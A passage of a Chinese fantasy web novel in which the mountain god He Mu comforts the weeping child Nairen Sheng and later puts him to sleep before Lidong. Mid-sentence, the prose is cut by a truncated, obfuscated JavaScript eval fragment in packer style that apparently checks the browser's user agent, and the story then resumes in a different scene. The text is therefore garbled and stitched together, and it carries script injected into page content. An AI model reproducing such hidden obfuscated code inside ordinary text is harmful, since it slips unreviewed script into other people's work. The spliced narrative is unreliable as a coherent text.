和慕轻拍了拍闻人声的背脊,小声哄道:“好了好了,声声,我先带你回家了,好不好?” 他一边抱着闻人声起身,一边冲族长使了个眼色,小声说道:“你先待在山下吧,过段时间我让他来找你。” 闻人敬焦急地看着闻人声,还想要去抱他。 可刚一伸手,和慕已经单手掐了个缩地术的掌印,二人眨眼就消失在了茶楼中。 * 山神庙中。 和慕把闻人声放到床上,自己蹲在床边,仰头看着他哭。 跟先前几次哭得不一样。 之前闻人声哭起来都是小心翼翼的,会抿着嘴哭,泪珠会顺着脸颊滚下来,留下一行清晰的泪痕。 但这会儿他脸上的眼泪全都糊作了一团,气儿断断续续地喘,哭得人都快要背过去了,看上去实在是伤心极了。 和慕轻叹口气,拿巾帕替他擦了擦脸颊上的泪痕。 “大侠,你怎么哭成这样啊?” 闻人声一听“大侠”两个字,立刻就闭上嘴不哭了。 只是方才哭得太狠,还会时不时抽噎两下,看着好笑又可怜。 他用变了调的声音狡辩道:“我、我就哭了一小下,本来就打算这个时候停下来的。” “那现在不哭了?” “不哭了。” 闻人声坚定地说。 本来也没什么好哭的,族长就是单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一边装睡的和慕很快就发觉有个热乎乎的团子正往自己怀里靠过来,毛茸茸的脑袋还不停地蹭着他,像只催促人起来玩的小动物。 和慕被他逗得忍不住笑出了声。 他躺平身体,一把将闻人声给抱了起来。 “好了,你要说什么呀,再让你说一刻时间,然后就要睡觉咯?” 闻人声高兴地点点头,他动了动身子躺到床的另一边,跟和慕一样平躺着。 他抓着被角,有些兴奋地说:“我明天……要不要跟族长再说一说啊?” 和慕把双手背到脑袋底下,应道:“你不是说不想和他说话了?” 闻人声摇摇头:“还是要说的,他是我的救命恩人,虽然我觉得他离开的理由一点都不好,但我还是很喜欢族长。” “年纪不大,倒是很会体谅别人,”和慕笑道,“要是多关心关心自己就好了,你总是这样,我好怕你被人骗走啊。” 听到这话,闻人声翻了个身,笑嘻嘻地看着和慕。 “才不会呢。” 现在他有了家人,不再是从前芳泽山那只孤伶伶的小狼了。 就算被骗,山神也会保护他的。 和慕也侧过身,他亲了亲闻人声的额头,又替他顺了顺头发,接着就把小孩抱进了自己怀里。 “好好睡吧,声声,明天就是立冬了。” 躲在这个温暖宽阔的怀抱里,闻人声脑袋都变得晕乎乎的,他感觉自己的身体都慢慢变小了,还依稀有了长出了绒尾和耳朵的幻觉。 可闻人声已经困得抬不起眼皮去确认了。 他絮语着,意识随着自己的声音慢慢淡去。 “立冬啊……” 长大的日子,快要到了。